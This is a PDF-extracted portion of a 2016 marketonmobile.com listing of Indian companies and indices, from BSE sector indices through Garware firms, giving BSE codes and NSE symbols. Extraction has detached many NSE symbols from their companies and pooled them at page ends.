BSEDollex30

1013

BSEFMCGSector

1007

BSEGreenex

1140

BSEGreenexBVRA

529937

BSEGreenexPERA

529936

BSEGreenexYIELD

529938

BSEHealthcare

1010

BSEIPO

1135

BSEIPOBVRA

529931

BSEIPOPERA

529930

BSEIPOYIELD

529932

BSEITSector

1006

BSEMetal

1124

BSEMidCap

1127

BSEOil&Gas

1126

BSEPower

1134

BSEPSU

1011

BSERealtyIndex

1131

BSESensex

1001

BSEShari50YIELD

529935

BSESharia50BVRA

529934

BSESharia50PERA

529933

BSESmallCap

1128

BSESMEIPO

1146

BSETech

1012

BSELInfra.

532123

BSETASISShariah

1136

BSI

507070

BSI

BSL

514045

BSL

BudgeBudge&Co

538789

BurnpurCement

532931

BURNPUR

BurrBrownIndia

511383

BURRBROWN

BusinessForms

523720

ButterflyGanAp

517421

BWL

504643

C&CConstrn.

532813

CANDC

CCCL

532902

CCCL

CJGelatine

507515

CMahendraExp

533304

CMAHENDRA

CPCL

500110

CHENNPETRO

C.G.Impex

531932

CableCorpn.

500077

CCI

CadilaHealth.

532321

CADILAHC

http://www.marketonmobile.com/search.php

BSELINFRA

BUTTERFLY

17/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
CairnIndia

532792

CalcomVision

517236

CaliforniaSoft.

532386

CalsRefineries

526652

CambridgeTech.

532801

Camex

524440

CamlinFine

532834

CAMLINFINE

Camphor&Allied

500078

CAMPALLIED

CamsonBioTech.

538858

CamsonBioTech.

590076

CanFinHomes

511196

CanaGlass

515137

CanaraBank

532483

CANBK

CanaraRobecoET

590125

CRMFGETF

CanaraRobecoET

534631

CRMFGETF

CanaraRobecoET

500489

CRMFGETF

CantabilRetail

533267

CANTABIL

CanvayChemicals

531535

CapcoIndustries

532587

CapfinIndia

539198

CapitalFirst

532938

CapitalTradeLk

538476

CapitalTrust

511505

CaplinPointLab

524742

CapmanFinancial

511720

CapriGlobal

531595

CapricornSystem

512169

CaprihansIndia

509486

CaprolactamChem

507486

CaptainPipes

538817

CaptainPolyp.

536974

CarborundumUni.

513375

CARBORUNIV

CareerPoint

533260

CAREERP

CarewellHygiene

526013

CarewellIndust.

538579

CarnationInds.

530609

CarolInfoServ.

500446

Carona

509495

CastexTech

532282

CASTEXTECH

CastrolIndia

500870

CASTROLIND

CastronTech.

506095

CatTech.

531682

CatvisionLtd

531158

CauverySoftware

500080

CavaletIndia

526351

CawasjiBehram.

539403

CCLInter

531900

CCLProducts

519600

CCSInfotech

532405

CDIIntl.

526141

CDRHealthCare

523353

CEAT

500878

CeejayFinance

530789

CeenikExports

531119

http://www.marketonmobile.com/search.php

CAIRN
CALSOFT
CTE

CANFINHOME

CAPCO
CAPF

CAPLIPOINT
CGCL
CAPRIHANS

CAROLINFO

CAUVERSOFT

CCL
COMPACDISC
CEATLTD
CEENIKEXPO

18/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
CeetaInds.

514171

CelebrityFash.

532695

CELEBRITY

CelestialBiolab

532871

CELESTIAL

CelluloseProds

506345

CenlubInds.

522251

CentenialSurgic

531380

CenteracTech.

531621

CentralBank

532885

CentralProvince

501827

CentronIndl

509499

CentrumCapital

501150

CentumElectron

517544

CENTUM

CenturyEnka

500280

CENTENKA

CenturyExtrus.

500083

CENTEXT

CenturyPly.

532548

CENTURYPLY

CenturyTextiles

500040

CENTURYTEX

CeraSanitary.

532443

CERA

CerebraIntegr.

532413

CEREBRAINT

CES

512341

CESC

500084

CetharInds.

531473

CFLCapitalFin.

511272

CGVAKSoftware

531489

ChadhaPapers

531946

ChainImpex

522203

ChakanVegoils

519459

ChamakHoldings

539600

ChamanlalSetia

530307

ChambalBrewer

512301

ChambalFert.

500085

ChampionFinsec

504367

ChandVanaspati

519297

ChandniText

522292

ChandraPr.Intl

530309

ChankyaInvest

501270

ChannelNine

535142

CharminarGran

515105

CharmsInds.

531327

Chart.Logistics

531977

Charter.Capital

511696

ChaseBrightSt.

504671

CHDChemicals

539800

CHDDevelopers

526917

ChembondChem.

530871

ChemcelBiotech

533026

ChemfabAlkalis

506894

Chemiesynth(Vapi

539230

ChemoPharmaLab

506365

ChemoxSec.

511485

CHEMOXSEC

ChemplastSanmar

506355

CHEMPLAST

ChemtechIndust.

537326

ChennaiFerrous

539011

ChennaiMeena

523489

CheslindTextile

521056

http://www.marketonmobile.com/search.php

CENTRALBK

CESC
CEATFIN

CHAMBLFERT

CHEMFALKAL

CHESLINTEX

19/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
ChetakSpintex

531655

ChettinadCement

590001

CheviotCompany

526817

ChhabraSpinners

531653

ChhatarExtract

519461

ChhattisgarhInd

530495

ChicagoSoftware

531185

ChitradurgaSpin

521244

CHL

532992

ChoiceIntl.

531358

ChokhaniIntl.

523246

ChokhaniSec.

511742

ChoksiImaging

530427

ChoksiLaborator

526546

ChoksiTubes

513240

CHOKSITUBE

Cholaman.Inv.&Fn

511243

CHOLAFIN

ChordiaFood

519475

ChowguleSteam

501833

CHPLINDUSTRIES

539335

ChromaticIndia

530191

CIFCOFinance

511086

CignitiTech.

534758

CignitiTech.

590089

CILNovaPetro.

533407

CilSecurities

530829

Cimmco

505230

CindrellaFin.

531283

CindrellaHotels

526373

CinelineIndia

532807

CINELINE

CinemaxIndia

534711

CINEMAXIN

CineradCommunic

530457

Cinevista

532324

CINEVISTA

Cipla

500087

CIPLA

CircuitSystems

532913

CistroTelelink

531775

CitadelRealty

502445

CitiPortFin.

531235

CitizenInfoline

538786

CitizenYarns

514366

CiturgiaBiochem

506373

CityLiftsIndia

526197

CityOnlineSer.

538674

CityUnionBank

532210

Cityman

521210

CityonSystems

780013

ClariantChemica

506390

ClarisLifescien

533288

ClarisisOrganic

524806

ClaroIndia

524366

ClarusINFRA.RL.

511672

Class.Gl.Fin.

538433

ClassicBiotech

531670

ClassicDiamonds

523200

ClassicElectric

512213

http://www.marketonmobile.com/search.php

CHETTINAD

CHOKAINTL

CHOWGULSTM
CHROMATIC
CIGNITITEC
CNOVAPETRO
CIMMCO

CITURGIBIO

CUB

CLNINDIA

CLASSIC

20/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
ClassicPress

526973

CLIOInfotech

530839

ClutchAuto

505052

CLUTCHAUTO

CMC

517326

CMC

CMI

517330

CMIFPELtd

500147

FLATPROD

CMMInfraproj

532561

CMMINFRA

CMSFinvest

532104

CNIResearch

512018

CNX200BVRA

529940

CNX200BVRA

CNX200PERA

529939

CNX200PERA

CNX200YIELD

529941

CNX200YIEL

CNXAutoBVRA

529946

CNXAUTOBVR

CNXAutoPERA

529945

CNXAUTOPER

CNXAutoYIELD

529947

CNXAUTOYIE

CNXCommod.BVRA

529973

CNXCOMMODB

CNXCommod.PERA

529972

CNXCOMMODP

CNXCommod.YIELD

529974

CNXCOMMODY

CNXConsum.BVRA

529976

CNXCONSUMB

CNXConsum.PERA

529975

CNXCONSUMP

CNXConsum.YIELD

529977

CNXCONSUMY

CNXDiv.OP.BVRA

529979

CNXDIVOPBV

CNXDiv.Op.PERA

529978

CNXDIVOPPE

CNXDiv.Op.YIELD

529980

CNXDIVOPYI

CNXEnergyBVRA

529949

CNXENERGYB

CNXEnergyPERA

529948

CNXENERGYP

CNXEnergyYIELD

529950

CNXENERGYY

CNXFinanceBVRA

529952

CNXFINANCE

CNXFinancePERA

529951

CNXFINANCE

CNXFinanceYIELD

529953

CNXFINANCE

CNXFMCGBVRA

529955

CNXFMCGBVR

CNXFMCGPERA

529954

CNXFMCGPER

CNXFMCGYIELD

529956

CNXFMCGYIE

CNXIBG

532151

CNXIBG

CNXInfra.BVRA

529982

CNXINFRABV

CNXInfra.PERA

529981

CNXINFRAPE

CNXInfra.YIELD

529983

CNXINFRAYI

CNXMediaBVRA

529958

CNXMEDIABV

CNXMediaPERA

529957

CNXMEDIAPE

CNXMediaYIELD

529959

CNXMEDIAYI

CNXMetalsBVRA

529961

CNXMETALSB

CNXMetalsPERA

529960

CNXMETALSP

CNXMetalsYIELD

529962

CNXMETALSY

CNXMidcap200

MIDCAP200

CNXMILLEN

532198

CNXMILLE

CNXMNCBVRA

529964

CNXMNCBVRA

CNXMNCPERA

529963

CNXMNCPERA

CNXMNCYIELD

529965

CNXMNCYIEL

CNXPharmaBVRA

529967

CNXPHARMAB

CNXPharmaPERA

529966

CNXPHARMAP

CNXPharmaYIELD

529968

CNXPHARMAY

CNXPSEBVRA

529985

CNXPSEBVRA

CNXPSEPERA

529984

CNXPSEPERA

CNXPSEYIELD

529986

CNXPSEYIEL

http://www.marketonmobile.com/search.php

21/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
CNXRealtyBVRA

529970

CNXREALTYB

CNXRealtyPERA

529969

CNXREALTYP

CNXRealtyYIELD

529971

CNXREALTYY

CNXServiceBVRA

529988

CNXSERVICE

CNXServicePERA

529987

CNXSERVICE

CNXServiceYIELD

529989

CNXSERVICE

CNXSmallBVRA

529943

CNXSMALLBV

CNXSmallPERA

529942

CNXSMALLPE

CNXSmallYIELD

529944

CNXSMALLYI

CoalIndia

533278

COALINDIA

CoastalCorporat

501831

CoastalRoadways

520131

CochinMalabar

508571

CochinMinerals

513353

CoffeeDayEnter

539436

COFFEEDAY

Coimb.Lak.Inv.

511435

CLIFCO

ColgatePalm.

500830

COLPAL

ColinzLabs

531210

CombatDrugs

524752

ComfortComtrade

534691

ComfortFincap

535267

ComfortIntech

531216

CommercialEng.

533272

CommexTech.

532342

CompetentAuto

531041

CompuageInfo.

532456

COMPUAGE

CompucomSoft.

532339

COMPUSOFT

CompudyneWin

532306

COMPUDYNE

ComputechIntl.

531224

COMPUTECH

ComputerPoint

507833

Computerskill

531474

ConartEngineers

522231

ConcordDrugs

538965

ConcreteCred.

539266

CondequipEngs.

531891

ConfidenceFinan

504340

ConfidencePetro

526829

Cons.Finvest

500226

CONSECUTVEIN&TD

539091

ConsortexKarl

531852

Cont.Chemicals

506935

Cont.Construct.

507956

Cont.Controls

531460

Cont.Petroleums

523232

Cont.Securities

538868

ContainerCorpn.

531344

ContilIndia

531067

ControlPrint

522295

CoralHub

533011

CORALHUB

CoralIndiaFin.

531556

CORALFINAC

CoralLabs.

524506

CoralNewsprint

530755

CordsCable

532941

CORDSCABLE

COREEducation

512199

COREEDUTEC

http://www.marketonmobile.com/search.php

CEBBCO

CONSOFINVT
APOWERTOOL
CONTNLCONS

CONCOR

22/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
CoreHealthcare

500091

CoromandelAgro

507543

CoromandelEngg.

533167

COROENGG

CoromandelInter

506395

COROMANDEL

CoromandelPharm

524524

CorporateCourie

526737

CorporationBank

532179

CosboardInds.

530859

COSCO(India)

530545

CosmoFerrites

523100

CosmoFilms

508814

COSMOFILMS

CountryClubHos

526550

CCHHL

CountryCondo

531624

COUNCODOS

CoventryCoil.

523415

CoventrySpring

522269

CovidhTechnolog

534920

Cox&Kings

533144

CPEC

505678

CPSEETF

538057

CraneInfra

538770

CranesSoftware

512093

Cranex

522001

Cravatex

509472

CrazyInfotech

524388

CRBShareCust.

530423

CreativeCasting

539527

CreativeEye

532392

CreativeMercha.

538504

CreativeWorld

530345

CredenceSound

526741

CredentialFin.

512145

CreditAnalysis

534804

CrescentLeasing

539131

CressandaSolns.

512379

CrestAnimation

526785

CRESTANI

CrestVentures

511413

CREST

Crestchem

526269

CrestworldMarin

531308

CrewB.O.S.Prod.

532542

CrimsonMetal

526977

CRISIL

500092

Cromakem

526181

CromptonGr.Con

539876

CROMPTON

CromptonGreaves

500093

CROMPGREAV

CrownTours

538521

CryptogenAgro

531656

CrystalCredits

530465

CrystalSoftware

526033

CSJTechnologies

531943

CSLFinance

530067

CSSTechnergy

538922

CSSTechnergy

590050

CTCottonYarn

500094

CTIL

532363

http://www.marketonmobile.com/search.php

COREPARENT

CORPBANK

COX&KINGS
CPSEETF
CRANESSOFT

CREATIVEYE

CARERATING

CREWBOS
CRISIL

CTCOTTON

23/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
CubexTubings

526027

CubicalFinan

511710

CumminsIndia

500480

Cupid

530843

CupidTrades

512361

CuraTech.

532332

CureSpectsLas.

531356

CvilInfra

511650

CybeleInds.

531472

CyberMediaInd

532640

CybermateInfo.

532271

Cyberscap.Multi.

532364

Cyberspace

511656

CYBERSPACE

CybertechSys.

532173

CYBERTECH

Cyient

532175

CYIENT

D&HIndia

517514

DBCorp

533151

DBCORP

DBRealty

533160

DBREALTY

DCHoldings

532608

DCHL

DJIA

500474

DJIA

DRSoftech

521125

DRIND

DSKulkarniDev

523890

DSKULKARNI

DLinkIndia

533146

DLINKINDIA

DaburIndia

500096

DABUR

DaewooMotors

500100

DCMDAEWOO

DaiichiKarkari

526821

DAICHIKARK

DaikaffilChem

530825

DalalStreetInv

501148

DalmiaBhar.

533309

DALMIABHA

DalmiaBharat

500097

DALMIASUG

DalmiaRefracto.

500481

DALMIAREF

DamodarIndust.

521220

DanlawTech.

532329

DarjeelingRopew

539770

DarshanOils

526249

DarshanOrna

539884

DatabaseFinance

532099

DatamaticsGlob.

532528

DATAMATICS

DataproInfo.Tec

517473

DATAPROINF

DatarSwitchgear

517516

DATARSWICH

DatasoftApplica

526443

DaulatSec.

530171

DazzelConfindiv

531270

DBIntl.Stock

530393

DBSTOCKBRO

DCBBank

532772

DCBBANK

DCM

502820

DCM

DCMFinancial

511611

DCMFINSERV

DCMShriram

523367

DCMSHRIRAM

DCMShriramInds

523369

DCMSRMIND

DCW

500117

DCW

DENoraIndia

590031

DENORA

Dec.GoldMines

512068

DeccanBearings

505703

DeccanCements

502137

http://www.marketonmobile.com/search.php

CUBEXTUB
CUMMINSIND

CURATECH
BHUPENCAP
CYBERMEDIA

DECCANCE

24/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
DeccanPetroleum

526375

DeccanPolypacks

531989

DecillionFin.

539190

DecoMica

531227

DecolightCera.

532858

DECOROUSINV&TRD

539405

DeeKartavyaFin

531826

DeepDiamond

539559

DeepIndustries

532760

DEEPIND

DeepakFert.

500645

DEEPAKFERT

DeepakNitrite

506401

DEEPAKNTR

DeepakSpinners

514030

DEEPAKSPIN

DeepsSpec.Steel

513570

DeeptiAlloy

539455

DeksonCastings

780006

DelmaInfra.

512121

DeltaCorp

532848

DeltaIndustrial

539596

DeltaLeasing

535486

DeltaMagnets

504286

DeltaPolysters

530311

DeltonCables

504240

Deltron

504256

DenNetworks

533137

DEN

DenaBank

532121

DENABANK

DenisChemLab

537536

DenmurFaxRoll

526273

DENMURFAX

DensoIndia

520022

DENSO

DeraPaints

523782

DeshRakshak

531521

DesignAutoSys.

520125

DetroitInds.

523400

DevFastners

523666

DevhariExports

539197

DevidayalInds.

503976

DevineImpex

531585

DevinsuTrading

512445

DevkiLeasing

530765

DewanHsg.Fin.

511072

DHFL

DewanRubber

523051

DEWANRUB

DewanTyres

523252

DEWANTYRE

DFLInfra

511393

DFMFoods

519588

DhabriyaPoly.

538715

DhampurSugar

500119

Dhampur.Spl.Sug.

531923

DhanadaCorp.

531198

DhanalaxmiRoto

521216

DhanlaxmiBank

532180

DhanlaxmiCotex

512485

DhanlaxmiFabric

521151

DhanleelaInvest

503637

DhanukaAgritech

507717

DhanukaCommerc.

538446

http://www.marketonmobile.com/search.php

DECOLIGHT

DELTACORP

DELTAMAGNT

DHAMPURSUG

DHANBANK

DHANUKA

25/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
DhanusTech.

532903

DhanvantriJeev.

531043

DharTextile

530949

DharamsiMorarji

506405

DharaniFinance

511451

DharaniSugars

507442

DharendraAgro

519327

DharnendraInds.

519134

DharnendraOvers

523331

DhartiProteins

531171

DhatuForge

513387

DhenuBuildcon

501945

DhootIndl.Fin

526971

DhootInds.

523862

DHPIndia

531306

DhruvEstates

507886

DhruvaCap.Serv.

531237

DhunseriInvest.

533336

DHUNINV

DhunseriPetro.

523736

DPL

DhunseriTea

538902

DTIL

DhyanaFinstock

538450

DiamantInfra.

508860

Diamines&Chem.

500120

DiamondAgroInd

526540

DiamondInfosys.

530801

DiamondPower

522163

DianaTea

530959

DICIndia

500089

DigitalMultifor

517538

DigjamLtd

503796

DIL

506414

DiligentIndust.

531153

DinaIron

532003

DionGlobal

526927

FORTISFIN

DisaIndia

500068

GEORGFISCH

DishTV

532839

DISHTV

DishmanPharma.

532526

DISHMAN

DisposableMedi

523540

Divi'sLab.

532488

DivineEntertain

531907

DivineMulti.

523810

DivinusFabrics

538432

DivyaJyotiInds

526285

DivyashaktiGran

526315

DJSStock

511636

DLF

532868

DMCEducat.

517973

DoMaxSteel

513339

DoctorsBiotech

512079

DolatInvestment

505526

DollexInds.

531367

DolphinHotels

509513

DolphinInvest.

503628

DolphinMedical

526504

http://www.marketonmobile.com/search.php

DHANUS

DHARAMORAR
DHARSUGAR
DHARNENIND

DIAPOWER
DICIND
DIGJAM

DIVISLAB

DLF

26/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
DolphinOffshore

522261

DOLPHINOFF

DonearInds.

512519

DONEAR

DoonValleyRice

531226

DOONVALLEY

DotComGlobal

530391

PERCIMDIAM

Dowell'sElektro

532157

DQEntertain.

533176

DrAgarwal'sEye

526783

DrLalPathlabs

539524

LALPATHLAB

DrReddy'sLabs

500124

DRREDDY

Dr.DatsonsLabs

533412

DRDATSONS

DravyaIndl.Chem

512058

DredgingCorpn.

523618

DREDGECORP

DSJCommunicatn

526677

DALALSTCOM

DSQSoftware

523864

SQRDSFWARE

DuckTarpaulins

512620

Dufa(I)Samay

523184

DugarHousing

511634

DujodwalaPaper

524276

DujohnLabs

507482

DukeOffshore

531471

DuncansInds.

590063

DuneMercantile

539786

DunlopIndia

509130

DupontSports

523824

Duropack

526355

DutronPolymers

517437

DwarikeshSugar

532610

DwitiyaTrading

538608

DynaLamps

523542

DynachemPharma

524562

DYNAPHARMA

DynaconsSys.

532365

DSSL

DynaconsTech.

534674

DUCON

DynamaticForg.

513168

DynamaticTech.

505242

DynamicArchist.

539681

DynamicInds.

524818

DynamicMicro

531330

DynamicPortfol

530779

Dynavision

517238

DynavoxInds.

517508

DynemicProducts

532707

EIGranites

515131

ELandApparel

532820

EMetalsIndia

531361

E.ComInfotech

531533

e.starInfotech

532417

EastBuildtech

507917

EastWestTravel

520135

ESTWSTRAV

EastcoastSteel

520081

ESTCSTSTEL

EasternCircuits

517067

EasternGases

590080

EasternMining

500127

EASTMINING

EasternSugar

507528

EASTSUGIND

EasternTreads

531346

http://www.marketonmobile.com/search.php

DQE

DUNCANSLTD
DUNLOP

DWARKESH

DYNAMATECH

ELAND

27/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
EasunReyrolle

532751

EasyFincorp

511074

EbersPharma.

507715

ECEInds.

532491

ECEIND

eClerxServices

532927

ECLERX

EcoFriendly

534839

EcoRecyc.

530643

EcoboardInds.

523732

EconoTradeIndi

538708

Ecoplast

526703

EdelETSBanking

532599

EBANK

Edel.NiftyEES

539142

NIFTYEES

Edelweiss.Fin.

532922

EDELWEISS

EdservSoftsys.

533055

EDSERV

EducompSol.

532696

EDUCOMP

EduexelInfot.

526483

eDynamicsSolut.

535694

EfconSecurities

530659

EffingoTextile

512207

EicherMotors

505200

EICL

526560

EIDParry

500125

EiderElectronic

517352

EiderInfotech

531958

EIDERTELE

EIH

500840

EIHOTEL

EIHAssoc.Hotels

523127

EIHAHOTELS

EimcoElecon(I)

523708

EIMCOELECO

EkamLeasing

530581

ELForge

531144

ElangoInds.

513452

ElantasBeck

500123

DRBECK

ElbeeServices

526624

ELBEE

ElcidInvestment

503681

ElconFinlease

511167

EldecoHousing

523329

ElderHealth

524830

ElderPharma

532322

ElderProjects

524788

EleconEngg.Co

505700

Electra(Jaipur)

523099

ElectrexIndia

517378

ElectricControl

509358

ElectroScan(I)

517179

Electrost.Cast.

500128

ELECTCAST

ElectrosteelSt.

533264

ESL

Electrotherm(I)

526608

ELECTHERM

ElegantFloricul

526473

ElegantMarbles

526705

ElegantPharma

524344

ElektroFlame

526011

ELfTrdg&Chem.

504387

ElgiEquipment

522074

ELGIEQUIP

ElgiRubb.

500471

ELGIRUBCO

EliteConductors

532577

ELITE

http://www.marketonmobile.com/search.php

EASUNREYRL

WESTERNBIO

EICHERMOT
EIDPARRY

ELFORGE

ELDERPHARM
ELECON
ELECTRX

28/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
Ellen.Indl.Gas

590087

ElloraPaper

502374

ElnetTechnolog

517477

ELNET

ElproIntl.

504000

ELPROINTL

EMAIndia

522027

Emami

531162

EMAMILTD

EmamiInfra.

533218

EMAMIINFRA

EmamiPaper

533208

EMCO

504008

Emed.comTechno

524588

EMERALDLEASFIN

538882

EmeraldLeisures

507265

EmergentEnergy

506180

EmergyPhaarma

524812

EmgeeCables

530333

Emk.GlobalFin.

532737

EmkayInds.

531516

EmkayTaps&Cut

532586

EMKAYTOOLS

EmmbiIndustries

533161

EMMBI

EmmessarBiotech

524768

EmmsonsIntl.

532038

EmpeeDistill.

532920

EDL

EmpeeSugars

500132

EMPEESUG

EmpireHotels

509001

EmpireInds.

509525

EmporisProj.

531470

EmpowerIndia

504351

EmtexInds(I)

521099

EMTEXIND

EnaraiFinance

507888

ENARAIFIN

EnbeeTrade

512441

EncashEntert.

538684

EncoreSoftware

531750

EnergyDevl.Co.

532219

EnergyProducts

531620

EngineersIndia

532178

EnhanteJewell.

531148

EnjayesNatural

531964

EnkayTexofood

514254

EnkeiWheels

533477

EnnoreCoke

512369

EnsaSteelInds.

512135

EnsoSecutrack

532984

Ent.Network

532700

ENIL

Entegra

532287

ENTEGRA

EnterpriseIntl.

526574

EnvairElectrody

500246

KIRLOSELEC

EonElect.

532658

EON

EonourTechnlgy

532308

EPCInds.

523754

EpicEnergy

530407

EPICEnzymesPh

524374

EpsomProperties

531155

EquipmentConduc

517435

EquitasHoldings

539844

http://www.marketonmobile.com/search.php

EMCO

EMKAY

ENERGYDEV
ENGINERSIN

EQUITAS

29/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
EraInfraEngg.

530323

ERAINFRA

ErosIntl.Media

533261

EROSMEDIA

ERPSoftSystems

530909

Esaar(India)

531502

EsabIndia

500133

ESABINDIA

Escorts

500495

ESCORTS

EscortsFinance

511716

ESCORTSFIN

EshaMedia

531259

ESI

590022

EASTSILK

EskayK`n'IT(I)

514118

SHREEKRPET

ESLInds.

512583

EsquireMoney

512439

EssDeeAlumin.

532787

ESSDEE

EssarOil

500134

ESSAROIL

EssarPorts

500630

ESSARPORTS

EssarSecurities

533149

EssarShipping

533704

EssarTelehold

523267

EsselPropack

500135

EssemCatalyst

523858

EssjaySynthetic

514466

EsteemBioOrg.

534927

EsterInds.

500136

ETLInfra

531478

ETPCorp.

512127

ETTLtd

537707

EupharmaLabs.

530409

EurekaInds.

521137

EuroAsia

530929

EuroCeramics

532823

EuroLederFash

526468

EuroMultivision

533109

EUROMULTI

EuropeanSoftwar

530387

EUROSOFTAL

EurotexInds.

521014

EUROTEXIND

EvereadyInds.

531508

EVEREADY

EverestInds.

508906

EVERESTIND

EverestKanto

532684

EKC

EverestOrganics

524790

EvergreenTex.

514060

EverlonSynth

514358

EveronnEducat.

532876

EVERONN

EvinixIndus.

532818

EVINIX

ExcelCastro

526735

ExcelCropCare

532511

ExcelGlasses

502223

ExcelInds.

500650

EXCELINDUS

ExcelInfoways

533090

EXCEL

ExdonTradingCo

512017

ExedyIndia

505923

ExelonInfra

530337

ExideInds.

500086

ExoticCoal

531320

ExplicitFin.

530571

ExpoGasContain

526614

http://www.marketonmobile.com/search.php

ESSARSHPNG
ESSELPACK

ESTER
ETPCORP
EUPHARMLAB

EUROCERA

EXCELCROP

EXIDEIND

30/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
ExtolCommercial

512163

ExxoteqCorpn.

526498

FACT

590024

FMecIntl.Fin.

539552

FacorAlloys

532656

FacorSteels

532657

FactEnterprise

511668

FagBearings

505790

FairdealFilamen

514474

FairfieldAtlas

520145

FalconTyres

509527

FALCONTYRE

FameIndia

532631

FAME

FarmaxIndia

590094

FARMAXIND

FarryInds.

531252

FastTrackEnt.

532084

FazeThree

530079

FAZETHREE

FCSSoftware

532666

FCSSOFT

FDC

531599

FDC

FE(India)

530863

FeddersLloyd

500139

FEDDERLOYD

FederalBank

500469

FEDERALBNK

FederalMogulGo

505744

FMGOETZE

Fenoplast

526689

FernhillInds.

531466

FerroAlloysCor

500141

FerventSynerg.

533896

FGP

500142

Fiberweb(India)

507910

FiemInds.

532768

FilamentsIndia

514472

FilatexFash.

532022

FilatexIndia

526227

FilmcityMedia

531486

FiltraConsult.

539098

FiltronEngineer

531191

FinalysisCredit

531820

FinancialTech.

526881

FinaventureCap.

512219

FineLineCir.

517264

FineotexChem

533333

FinkurveFin.

508954

FinolexCables

500144

FINCABLES

FinolexInds.

500940

FINPIPE

FintechComm.

531754

FirstCustodian

511122

FirstFinancial

511369

FirstLeasingCo

500145

FIRSTLEASE

FirstWinner

532996

FIRSTWIN

Firstobj.Tech.

532379

Firstsour.Solu.

532809

FischerChemic

524743

FishingFalcons

500146

FiveXFin.

536751

FlawlessDiamond

523576

http://www.marketonmobile.com/search.php

FACT

FAGBEARING

FERROALLOY
FGPIND
FIEMIND

FILATEX

FINANTECH

FCL

FSL
FISHFALCON

31/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
Fleetweld(I)

523830

FlexFoods

523672

FlexituffIntl.

533638

FloraTextiles

530705

FlorenceInvest.

532518

Fluidomat

522017

FocusIndustrial

534757

FomentoResorts

503831

Foods&Inns

507552

Forbes&Co

502865

FORBESGOK

ForceMotors

500033

BAJAJTEMPO

FortisHealth.

532843

FORTIS

FortisMalar

523696

FortuneFin.Ser.

530023

FortuneFoods

519187

FortuneInterntl

530213

FosecoIndia

500150

FoundryFuel

513579

FourthDimension

532600

FourthGen.

532403

FranklinLeasing

539839

Fraser&Co

539032

FredunPharma

539730

Fres.KabiOnco.

532545

FreshtropFruits

530077

FrogCellsat

521254

FrontierCapital

508980

FrontierInfo.

531225

FrontierSprings

522195

FrontlineCorp.

532042

FrontlineFin.

531685

FrontlineSec.

533213

FruitionVenture

538568

FTSE100

500491

FTSE/JSEtop40

1143

Fulford(India)

506803

FunnySoftware

539169

Funworld&Tour

531854

FurureMarket

533296

FusionFittings

531760

Futur.Offshore

500154

GANESHANHY

FuturaPolyester

500720

INDIANORG

FutureConsumer

533400

FCEL

FutureLifestyle

536507

FLFL

FutureRet.DVR

570002

FELDVR

FutureRetail

523574

FEL

FuturisticSec.

523113

FuturisticSolu

534063

GDTrad&Agency

504346

GGAutomotive

531399

GGDandekar

505250

GKConsultants

531758

GMBreweries

507488

GMBREW

GMDC

532181

GMDCLTD

http://www.marketonmobile.com/search.php

FLEXITUFF

FOSECOIND
FOURTHDIM

FKONCO
FROGCELL

FTSE100
FULFORD

FMNL

32/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
GNFC

500670

GRCables

517564

GSAutoIntl.

513059

GSFC

500690

GVFilms

523277

GTechInfo.

532139

GabrielIndia

505714

GaekwarMills

502850

GaganGases

524624

GaganPolycot

531196

GAIL(India)

532155

GajananSec.Serv

538609

GajraBevel

505711

GalaPrint

539228

GaladaFinance

538881

GaladaPower

504697

GalaxyAgrico

531911

GalaxyBearings

526073

GalaxyCons.Fin.

511128

GalaxyEnt.Corp.

506186

GallanttIspat

533265

GALLISPAT

GallanttMetal

532726

GALLANTT

GallopsEnterp.

531902

GalorePrints

526679

GammaInfoway

517391

GammonIndia

509550

GAMMONIND

GammonInfra.

532959

GAMMNINFRA

GandhiSpl.Tube

513108

GANDHITUBE

GandhidhamSpg.

502856

Gandhinag.Hotel

530237

Gandhinag.Leas.

511489

GaneshBenzopl.

500153

GaneshFoundry

513448

GaneshHoldings

504397

GaneshHousing

526367

GANESHHOUC

GaneshaEcosphe.

514167

GANECOS

GangaPapers

531813

GangaPharma.

539680

GangotriCement

518093

GangotriIron

530945

GangotriTextile

521176

GanonTrdg.

512443

GardenSilkMill

500155

GargFurnace

530615

GarlonInds.

514306

GarnetConstruct

526727

GarnetIntl.

512493

GarodiaChemical

530161

GarwareMarine

509563

GarwarePolyest

500655

GarwareSynth

514400

GarwareWallRop

509557

GARWALLROP

